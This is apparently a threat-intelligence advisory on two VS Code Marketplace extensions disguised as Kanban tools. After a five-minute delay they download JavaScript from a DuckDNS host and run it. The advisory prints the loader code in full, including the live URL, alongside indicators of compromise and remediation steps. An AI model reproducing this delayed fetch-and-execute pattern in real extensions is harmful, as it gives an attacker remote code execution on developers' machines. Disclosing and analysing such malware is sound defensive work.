Two project-flow extensions sit quietly for five minutes after you open your editor. The Kanban board renders, the webview loads, everything looks like a normal project-management tool. Then, once the IDE has settled and the developer has moved on to something else, a setTimeout fires. The extension reaches out to a free DuckDNS subdomain over plain HTTP, grabs a JavaScript file, and runs it with new Function.

On July 2 and July 4, 2026, two publishers — devflowtools and DevFlowHub — uploaded these extensions to the Microsoft VS Code Marketplace. The delivery shape is the same. The DuckDNS host is the campaign anchor.

TL;DR

  • 2 extensions copy the names of DevFlow and project-flow tools and publish from two marketplace accounts.
  • Both wait five minutes, then contact the same DuckDNS host and run the response with new Function.
  • The five-minute delay hides the fetch from the activation moment — a network call that fires at startup is more visible than one that fires after the IDE settles.
  • The payload host is dark at the time of analysis, but the extensions still phone home on every IDE start.

What the extensions do

Each extension loads a webview for a Kanban board. The board works. This is the cover.

After a five-minute delay, the extension does this:

  1. It contacts http[://]roqueue-tools.duckdns[.]org:8080/init.js.
  2. It fetches the JavaScript file.
  3. It runs the file with new Function.
const REMOTE = 'http://roqueue-tools.duckdns.org:8080/init.js';

setTimeout(() => {
  fetch(REMOTE)
    .then((res) => res.text())
    .then((code) => { new Function(code)(); });
}, 5 * 60 * 1000);

The fetched code runs with the full privileges of the VS Code: extension host. It can read files, run commands, and talk to the network. The threat actor can change the contents of init.js at any time, and every installed extension picks up the new version on the next fetch.

The payload

At the time of analysis roqueue-tools.duckdns[.]org:8080 did not respond. DuckDNS is a free dynamic DNS service — the threat actor can point the subdomain at any IP address and change the IP at any time, so the host going dark does not mean the campaign is over. The extensions still run the five-minute timer and fire the fetch on every IDE start. If the threat actor points the subdomain at a live server again, every installed extension picks up the new payload on the next launch.

The use of plain HTTP (not HTTPS) means the fetched script is also visible to anyone on the network path between the victim and the DuckDNS host — a passive observer can read the payload without compromising either end.

The 2 extensions

Date Extension Publisher Version
2026-07-02 devflowtools.projectflow-1.0.0 devflowtools 1.0.0
2026-07-04 DevFlowHub.devflowhub-1.1.4 DevFlowHub 1.1.4

The publishers are two days apart. The delivery shape and the DuckDNS host confirm one threat actor.

What to do

If you installed either of the two extensions above, do this:

  1. Uninstall the extension from VS Code:.
  2. Run a full malware scan on the machine.

If you publish extensions on the VS Code: Marketplace, do this:

  • Do not fetch a remote script from a DuckDNS host and run it.
  • Do not use new Function to run a downloaded file.
  • Do not delay a network call to hide it from the activation moment.

Indicators of Compromise

Malicious extension identifiers

  • devflowtools.projectflow-1.0.0
  • DevFlowHub.devflowhub-1.1.4

Network

Type Value
Domain roqueue-tools.duckdns[.]org
URL http[://]roqueue-tools.duckdns.org:8080/init.js

Behavioral

  • A fetch call to a DuckDNS host after a five-minute delay.
  • A new Function call on the response body.
  • Plain HTTP transport — the payload is visible on the network path.
  • Activation on * or onStartupFinished, so the fetch runs on every IDE start.